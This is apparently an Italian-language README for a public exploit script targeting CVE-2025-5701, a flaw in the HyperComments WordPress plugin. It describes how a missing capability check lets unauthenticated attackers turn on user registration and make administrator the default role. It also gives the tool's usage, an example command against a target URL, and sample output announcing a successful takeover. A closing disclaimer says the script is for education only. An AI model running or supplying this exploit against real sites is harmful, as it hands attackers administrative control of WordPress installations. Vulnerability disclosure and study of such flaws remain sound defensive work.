CVE-2025-5701 - Exploit di escalation dei privilegi non autenticata

Gravità: CRITICA (CVSS 9.8)
Plugin interessato: HyperComments per WordPress
Versioni interessate: ≤ 1.2.2

📌 Riepilogo della vulnerabilità

Il plugin HyperComments per WordPress è vulnerabile alla modifica non autorizzata delle opzioni di WordPress a causa di una mancata verifica delle capacità nella funzione hc_request_handler. Ciò consente a attaccanti non autenticati di aggiornare opzioni arbitrarie di WordPress, come:

• Abilitare la registrazione degli utenti (users_can_register)
• Modificare il ruolo predefinito assegnato agli utenti appena registrati (default_role)

Combinando queste opzioni, un attaccante può abilitare la registrazione e garantire che ogni nuovo utente riceva automaticamente il ruolo Amministratore.

🧨 Punteggio CVSS

CVSS v3.1: 9.8 CRITICAL  
AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H

📦 Utilizzo

CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit
By: Khaled Alenazi (Nxploited)

usage: CVE-2025-5701.py [-h] -u URL

CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit by Khaled Alenazi (Nxploited)

options:
  -h, --help     show this help message and exit
  -u, --url URL  Target base URL (e.g., http://target-site.com)

📦 Esempio

python3 CVE-2025-5701.py -u http://target-site.com

💬 Esempio di output

CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit
By: Khaled Alenazi (Nxploited)

[+] Target is vulnerable (version: 1.2.2) - proceeding with exploitation.
[+] Exploit endpoint is accessible.
[+] Server response: {"result":"success"}
[+] Registration is now enabled. New users will be assigned administrator role.
[+] Register here: http://target-site.com/wp-login.php?action=register

Exploit by: Khaled Alenazi (Nxploited)

⚠️ Disclaimer

Questo script è fornito esclusivamente a scopo educativo. L'accesso non autorizzato a sistemi senza permesso è illegale e non etico. Utilizzalo solo in ambienti controllati o con autorizzazione esplicita.

Nxploited (Khaled_alenazi)